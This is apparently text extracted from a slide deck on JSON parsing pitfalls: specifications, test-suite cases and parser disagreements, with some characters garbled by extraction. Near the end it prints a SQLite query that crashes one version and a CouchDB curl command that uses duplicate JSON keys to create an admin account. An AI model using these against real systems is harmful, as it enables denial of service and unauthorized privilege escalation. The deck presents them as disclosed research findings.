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Finding	
Security	Bugs

White	Box	
code	review,	staIc	analysis,	...

Black	Box	
fuzzing,	…

Specifica<ons	
find	errors	or	contradicIons,	...

Just	wait	:)



What	do	we	put	
in	a	refrigerator?

hSp://prog21.dadgum.com/212.html

http://prog21.dadgum.com/212.html


Too		big!!!	
1.	Anything	that	fits	into	a	refrigerator

Not	edible!!!	

2.	Anything	that	is	edible



flows	everywhere!!!	

3.	Liquids	must	be	in	containers



not	a	liquid,	but	sIll	
requires	a	container	

4.	Items	normally	stored	in	
containers	must	be	in	containers.

Doesn't	need	cold.	

5.	food	must	actually	
need	refrigera<on



So	a	penguin	is	ok	?!	
6.	Items	must	not	be	alive.

Excep<on:	
-	yoghurt	bacteria



2.	Anything	that	
is	edible

Excep<on	#1:	
-	medicine	that	needs	
to	be	kept	cool

Excep<on	#2:	
-	chemicals	and	
organs	in	
laboratory	fridges

Excep<on	#2.1:	
-	no	Iced	coffee	in	
laboratory	fridges



But	what	is	cold?	
7.	Define	a	temperature	range	

And	for	how	long?



JSON 
SPECIFICATIONS



Douglas	Crockford

So	simple,	no	version.



(1)	2002	–	json.org

http://json.org


(2)	2006	–	RFC	4627

• Editor:	D.	Crockford	

• applicaIon/json	MIME	media	type

https://tools.ietf.org/html/rfc4627


(3)	2011	–	ECMAScript	262,	secIon	15

just	the	ECMA	version…

http://www.ecma-international.org/ecma-262/5.1/#sec-15.12


(4)	2013	–	ECMA	404

"Someone	told	the	ECMA	working	group	that	
the	IETF	had	gone	crazy	and	was	going	to	
rewrite	JSON	with	no	regard	for	compaCbility	
and	break	the	whole	Internet	and	something	
had	to	be	done	urgently	about	this	terrible	
situaCon.	(...)	It	doesn’t	address	any	of	the	
gripes	that	were	moCvaCng	the	IETF	
revision.	

-	Tim	Bray	(Google,	RFC	7158/9	editor)

http://www.ecma-international.org/publications/standards/Ecma-404.htm


(5)	2014	–	RFC	7158

• allows	scalars	at	root	level	as	
ECMA	does	("asd"	or	123)	

• warns	about	bad	pracIces	but	
does	not	forbid	them	(bad	
Unicode,	repeated	object	keys,	
…)

https://tools.ietf.org/html/rfc7158


(6)	2014	–	RFC	7159

• because	of	typo	in	RFC	7159:	
"March	2013"

https://tools.ietf.org/html/rfc7159


JSON's	design	goals	were	
for	it	to	be	minimal,	
portable,	textual,	and	a	
subset	of	JavaScript.  
-	RFC	7159

JavaScript

JSON

U+2028 LINE SEPARATOR
U+2029 PARAGRAPH SEPARATOR

JSON	vs.	JavaScript

unescaped escaped



WRITE	TESTS



300+	JSON	Parsing	Test	Cases
hSps://github.com/nst/JSONTestSuite

mostly	handwriSen,	
a	bit	of	fuzzing	as	well

https://github.com/nst/JSONTestSuite


Test	Files

n_string_null_char.json

no	-	shouldn't	be	
parsed	(could	be	yes,	
or	impl.	defined)

["00"]

the	null	character,	
invalid	unescaped

null_char	-	
descripIon	of	the	test

string	-	can	also	be	array,	
object,	number	or	structure



Scalars at root level allowed in RFC 7159
y_structure_lonely_string.json "asd"
Trailing commas JSON "extension"
n_object_trailing_comma.json {"id":0,}
n_object_several_trailing_commas.json {"id":0,,,,,}
Comments JSON "extension"
y_string_comments.json ["a/*b*/c/*d//e"]
n_object_trailing_comment.json {"a":"b"}/**/
n_structure_object_with_comment.json {"a":/*comment*/"b"}
Unclosed structures
n_structure_object_unclosed_no_value.json {"":
n_structure_object_followed_by_closing_object.json {}}

Valid	in	iOS	AppKit

https://tools.ietf.org/html/rfc7159#section-9
https://tools.ietf.org/html/rfc7159#section-9


n_array_comma_and_number.json [,1]
n_array_colon_instead_of_comma.json ["": 1]
n_array_unclosed_with_new_lines.json [1,0A10A,1

Valid	in	Lua	dkjson



White Spaces - only space, tab, linefeed and cr allowed between []{}:,
n_structure_whitespace_formfeed.json [0C]
n_structure_whitespace_U+2060_word_joiner.json [E281A0]
n_structure_no_data.json
Nested Structures parsers may set limits
n_structure_100000_opening_arrays.json [[[[[[[[[[[[[[[[[...

Valid	in	json-rust

Bad	isolaIon	of	fault	domain.	

JSON	lib	or	syntax	highlighter	
shouldn’t	crash	the	whole	process.

https://tools.ietf.org/html/rfc7159#section-9


NaN and Infinity
n_number_NaN.json [NaN]
n_number_minus_infinity.json [-Infinity]
Hex Numbers
n_number_hex_2_digits.json [0x42]
Range and Precision
y_number_very_big_negative_int.json [-237462374673276894(...)
Exponential Notation
n_number_0_capital_E+.json [0E+]
n_number_.2e-3.json [.2e-3]
y_number_double_huge_neg_exp.json [123.456e-789]

Valid	JSON	in	Python,	
also	generated	by	JSON	encoder

Valid	JSON	in	JS



Numerical	Precision	Issues

So,	are	parsers	allowed	to	raise	errors	in	these	cases??

"A	JSON	parser	MUST	accept	
all	texts	that	conform	to	the	
JSON	grammar" 
(RFC	7159,	secCon	9)

"An	implementaCon	may	set	
limits	on	the	range	and	
precision	of	numbers." 
(RFC	7159,	secCon	9)

0.00000000000000000000001

1e9999

In	pracIce,	many	APIs	(FB,	TwiSer)	transmit	
user	IDs	as	strings	to	avoid	precision	issues.



y_object_empty_key.json {"":0}
y_object_duplicated_key_and_value.json {"a":"b","a":"b"}
n_object_double_colon.json {"x"::"b"}
n_object_key_with_single_quotes.json {key: 'value'}
n_object_missing_key.json {:"b"}
n_object_non_string_key.json {1:1}

Valid	in	jsmn



Duplicated	Keys
"The	names	within	an	
object	should	be	
unique."	(secCon	4)

"(some)	implementaCons	
report	an	error	or	fail	to	
parse	the	object"	(secCon	4)

"A	JSON	parser	MUST	
accept	all	texts	that	
conform	to	the	JSON	
grammar."	(secCon	9)

RFC	doesn't	tell	clearly	if	failing	to	parse	dupe	keys	is	compliant	or	not.





File Encoding - UTF-8 by default, UTF-16 and UTF-32 allowed
y_string_utf16.json FFFE[00"00E900"00]00
n_string_iso_latin_1.json ["E9"]
Byte Order Mark "may be ignored"
n_structure_UTF8_BOM_no_data.json EFBBBF
n_structure_incomplete_UTF8_BOM.json EFBB{}
i_structure_UTF-8_BOM_empty_object.json EFBBBF{}
Control Characters - all chars may be u-escaped, mandatory for 0x00-0x1F
n_string_unescaped_crtl_char.json ["a00a"]
y_string_unescaped_char_delete.json ["7F"]
n_string_escape_x.json ["\x00"]
Escape - also, some chars require backslash escape
y_string_allowed_escapes.json ["\"\\/\b\f\n\r\t"]
n_structure_bad_escape.json ["\
y_string_backslash_and_u_escaped_zero.json ["\u0000"]
n_string_invalid_unicode_escape.json ["\uqqqq"]
n_string_incomplete_escaped_character.json ["\u00A"]

Valid	in	json.NET

Valid	in	Java	gson



Invalid	Codepoints
• Codepoints	aver	U+FFFF	are	encoded	in	surrogate	pairs 
eg.	U+1D11E	gets	"\uD834\uDD1E"	

• Vector	is	valid	JSON,	payload	is	invalid	codepoints

Escaped non-Unicode Characters - UTF-8 by default, UTF-16 and UTF-32 allowed

y_string_accepted_surrogate_pair.json ["\uD801\udc37"]

n_string_incomplete_escaped_character.json ["\u00A"]

i_string_incomplete_surrogates_escape_valid.json ["\uD800\uD800\n"]

i_string_lone_second_surrogate.json ["\uDFAA"]

i_string_1st_valid_surrogate_2nd_invalid.json ["\uD888\u1234"]

i_string_inverted_surrogates_U+1D11E.json ["\uDd1e\uD834"]

😈



Invalid	Codepoints	Replacement

• “The	ABNF	cannot	at	the	same	Cme	allow	non	conformant	Unicode	
codepoints	(secCon	7)	and	states	conformance	to	Unicode	(secCon	1).” 
RFC	7159	errata	3984	

• Editors	ruled	that	parsers	must	parse	the	data,	but	result	is	undefined. 
						U+FFFD	REPLACEMENT	CHARACTER	free	to	be	used	in	several	ways

https://www.rfc-editor.org/errata_search.php?rfc=7159&eid=3984
http://unicode.org/review/pr-121.html




RFC	7159	AmbiguiIes
A	JSON	parser	MUST	accept	all	texts	that	conform	to	the	JSON	grammar.	

An	implementaCon	may	set	limits	on	the	size	of	texts	that	it	accepts. 
An	implementaCon	may	set	limits	on	the	maximum	depth	of	nesCng. 
An	implementaCon	may	set	limits	on	the	range	and	precision	of	numbers. 
An	implementaCon	may	set	limits	on	the	length	and	character	contents	of	strings.	

(secCon	9) MUST	-	This	word,	or	the	terms	"REQUIRED"	or	"SHALL", 
mean	that	the	definiCon	is	an	absolute	requirement	of	the	specificaCon.  
(RFC	2119)

f(s) { return null; } # shortest fully RFC 7159-compliant JSON parser



match	JSON	grammar don't	match	JSON	
grammar

input	
accepted parser	"extension"

input	
rejected parser	"limit"



run_tests.py

P1

P2

PN

parsers

T1

T2

TN

tests logs.txt results.html

Python 2.7.10   SHOULD_HAVE_FAILED  n_number_infinity.json



TESTS	
RESULTS



hSp://seriot.ch/json/parsing.html

http://seriot.ch/json/parsing.html


parser	crashed most	criIcal,	will	kill	the	whole	process	
especially	if	users	can	POST	random	data

parsing	should	have	succedded	but	failed
may	prevent	parsing	a	whole	document

result	undefined,	parsing	failed

parsing	should	have	failed	but	succeeded
wait	unIl	you	change	the	parser	and	cry

result	undefined,	parsing	succeeded



C	Parsers

"don't	forget	jsmn	is	a	primiIve	minimalist	parser,	
if	you	need	a	tool	to	validate	your	JSON	-	consider	
using	grownup	alternaIves" 
hSps://github.com/zserge/jsmn/issues/7

https://github.com/zserge/jsmn/issues/7




ObjecIve-C	Parsers

Several	3rd-party	parsers	because	NSJSONSerializaIon	only	since	iOS	5.	

Many	apps	do	probably	sIll	use	them.	SBJSON	is	sIll	maintained.



Apple	(NS)JSONSerializaIon
• Parser	limita<ons	(undocumented):	

• won’t	parse	big	numbers	[123123e100000]

• won’t	parse	u-escaped	invalid	codepoints	["\ud800"] 
(may	be	considered	as	a	bug	indeed)

• Parser	extensions	(undocumented):	

• does	parse	trailing	commas	[1,]	and	{"a":0,}



do {
    let a = [Double.nan]
    let data = try JSONSerialization.data(withJSONObject: a, options: [])
} catch let e {
}

SIGABRT

*** Terminating app due to uncaught exception 'NSInvalidArgumentException',
    reason: 'Invalid number value (NaN) in JSON write'

Apple	(NS)JSONSerializaIon



Freddy
• Cool	JSON	parser	introduced	in	January	2016	by	Big	Nerd	Ranch	

• Does	leverage	Swiv	idioms	and	type	safety

public enum JSON {
    case Array([JSON])
    case Dictionary([Swift.String: JSON])
    case Double(Swift.Double)
    case Int(Swift.Int)
    case String(Swift.String)
    case Bool(Swift.Bool)
    case Null
}



issue	#199

issue	#198

issue	#206

https://github.com/bignerdranch/Freddy/issues/199
https://github.com/bignerdranch/Freddy/issues/198
https://github.com/bignerdranch/Freddy/issues/206


Bash	JSON.sh
ESCAPE='(\\\\[^u[:cntrl:]]|\\u[0-9a-fA-F]{4})'
CHAR='[^[:cntrl:]"\\\\]'
# [:cntrl:] is a shorthand for [\x00-\x1F\x7F]

  00 nul   01 soh   02 stx   03 etx   04 eot   05 enq   06 ack   07 bel
 08 bs    09 ht    0a nl    0b vt    0c np    0d cr    0e so    0f si

  10 dle   11 dc1   12 dc2   13 dc3   14 dc4   15 nak   16 syn   17 etb
 18 can   19 em    1a sub   1b esc   1c fs    1d gs    1e rs    1f us
 20 sp    21  !    22  "    23  #    24  $    25  %    26  &    27  '
 28  (    29  )    2a  *    2b  +    2c  ,    2d  -    2e  .    2f  /
 30  0    31  1    32  2    33  3    34  4    35  5    36  6    37  7
 38  8    39  9    3a  :    3b  ;    3c  <    3d  =    3e  >    3f  ?
 40  @    41  A    42  B    43  C    44  D    45  E    46  F    47  G
 48  H    49  I    4a  J    4b  K    4c  L    4d  M    4e  N    4f  O
 50  P    51  Q    52  R    53  S    54  T    55  U    56  V    57  W
 58  X    59  Y    5a  Z    5b  [    5c  \    5d  ]    5e  ^    5f  _
 60  `    61  a    62  b    63  c    64  d    65  e    66  f    67  g
 68  h    69  i    6a  j    6b  k    6c  l    6d  m    6e  n    6f  o
 70  p    71  q    72  r    73  s    74  t    75  u    76  v    77  w

  78  x    79  y    7a  z    7b  {    7c  |    7d  }    7e  ~    7f del

But	DEL	0x7F	is	a	control	char	
in	Bash	but	not	in	JSON!	

Unescaped	DEL	is	valid	JSON.	
 
JSON.sh	won’t	parse	["	7F"].	

Issue	#46

https://github.com/dominictarr/JSON.sh/
https://github.com/dominictarr/JSON.sh/issues/46




Fail	to	parse: 
["\u002c"]  
["\\a"]	

Fail	to	reject: 
[True]  
["09"]

http://stackoverflow.com/questions/2583472/regex-to-validate-json


Pruning	Results

hSp://seriot.ch/json/parsing_pruned.html

http://seriot.ch/json/parsing_pruned.html


No	two	parsers	agree	on	
what	is	wrong	and	what	

is	right!



REFERENCE  
IMPLEMENTATION?





• JSON_Checker.c	will	parse	[1.]	and	
[0.e1],	which	do	not	match	JSON	
grammar.	

• JSON_Checker.c	will	reject	[0e1], 
which	is	a	perfectly	valid	JSON	number	

• Has	the	bug	spread	to	other	parsers?  
[1.]	is	also	parsed	by	Obj-C	TouchJSON,	
PHP,	R	rjson,	Rust	json-rust,	Bash	JSON.sh,	
C	jsmn	and	Lua	dkjson.



add	missing	transiIons  
				ZE	->	eE	->	E1

Bug	#1 
rejecIon	of	0e1



require	digit	aver	dot 
 
add	missing	state	F0 
update	transiIon  
				IN	->	.	->	F0

Bug	#2 
acceptance	of	[1.]

F0



PARSING 
OUTPUT



Data Parser Content

accept or reject



Data Parser Content

accept or reject



{"C3A9:"NFC","65CC81":"NFD"}	keys	are	NFC	and	NFD	representaIons	of	"é" 
{"C3A9:"NFC","65CC81":"NFD"}	  
{"C3A9:"NFC"}	Swiv	parsers  
 
{"a":1,"a":2}  
{"a":2}	(Freddy,	SBJSON,	Go,	Python,	JavaScript,	Ruby,	Rust,	Lua	dksjon) 
{"a":1}	(Obj-C	Apple	NSJSONSerializaIon,	Swiv	Apple	JSONSerializaIon,	Swiv	Freddy)  
{"a":1,"a":2}	(cJSON,	R,	Lua	JSON)  
 
{"a":1,"a":1}  
{"a":1} 
{"a":1,"a":1}	(cJSON,	R	and	Lua	JSON)  
 
{"a":0,"a":-0}  
{"a":0} 
{"a":-0}	(Obj-C	JSONKit,	Go,	JavaScript,	Lua) 
{"a":0,	"a":0}	(cJSON,	R)

Objects



Numbers	(Precision	Issues)
1.000000000000000005  
->	float	1.0	or	1.000000000000000005  
 
1E-999  
->	float,	double	0.0,	string	"1E-999"	or	error 
 
10000000000000000999  
->	double,	unsigned	long	long	or	string 
->	cJSON	will	yield	new	number	10000000000000002048	

Problem	when	two	so`ware	components	parse	the	same	file	differently



["A\u0000B"]  
someImes	becomes	["A"] 
 
["\uD800"]	is	the	u-escaped	form	of	U+D800,	an	invalid	lone	surrogate 
["\uD800"]  
["EFBFBD"]	U+FFFD	REPLACEMENT	CHARACTER 
["EDA080"]	(UTF-8	for	U+D800)  
 
["EDA080"]	raw	UTF-8	bytes,	invalid	UTF-8,	for	U+D800,	invalid	lone	surrogate 
["EDA080"]	(cJSON,	R	rjson	and	jsonlite,	Lua	JSON,	Lua	dkjson	and	Ruby)  
["EFBFBDEFBFBDEFBFBD"]	(Go,	JS)	3	replacement	characters 
["\ud800"]	(Python	2)  
UnicodeDecodeError	(Python	3)  
 
["\uD800\uD800"] 
["\U00010000"]	(R	rjson)  
["F0908080"]	(Ruby)	WTF??

Strings

valid	vector,	invalid	payload







Conclusion
• No	two	parsers	behave	the	same	way	

• RFC	7159	is	underspecified,	hidden	complexity	

• No	official	test	suite	

• Ref.	implementaIon	JSON_Checker.c	was	buggy	unIl	2016-11	

• JSON	is	not	the	harmless,	general	purpose	data-interchange	format  
as	many	do	believe	

• Fragile	standards	oven	prevail	(HTML,	CSS,	JavaScript,	JSON)



FOLLOW	UP



T	+	48h



Funny	Issues



everyone	fixing	their	parser	overnight

https://github.com/crystal-lang/crystal/commit/7eb738f550818825786e90389ac84d2a2eb13e13








New	Friends



SQLite

$ sqlite3
SQLite version 3.16.0 2016-11-04 19:09:39
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> WITH RECURSIVE c(x) AS (VALUES(1) UNION ALL SELECT x+1 FROM c WHERE x<1000000) 
SELECT json_valid(group_concat('[', '')) FROM c;
Segmentation fault: 11

JSONTestSuite	revealed	a	
crasher	in	SQLite	3.18	
(macOS	<=	10.12)	

https://www.sqlite.org/src/tktview/981329adeef51011052


Remote	Code	ExecuIon	in	CouchDB

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops'
--data-binary '{
  "type": "user",
  "name": "oops",
  "roles": ["_admin"],
  "roles": [],
  "password": "password"
}'

hSps://jusI.cz/security/2017/11/14/couchdb-rce-npm.html

Two	different	parsers	process	the	same	data.	The	Erlang	JSON	
parser	will	store	both	values,	but	the	Javascript	parser	will	only	
store	the	last	one	->	admin	in	Erlang,	but	not	in	JavaScript.

https://justi.cz/security/2017/11/14/couchdb-rce-npm.html


New	json.org	ImplementaIon

2016-11-11  
 
now	correctly	accepts	0e1 
 
now	correctly	rejects	[1.]

https://github.com/douglascrockford/JSON-c


Parsing	JSON	is	a	Minefield	💣

hSp://seriot.ch/parsing_json.php

http://seriot.ch/parsing_json.php

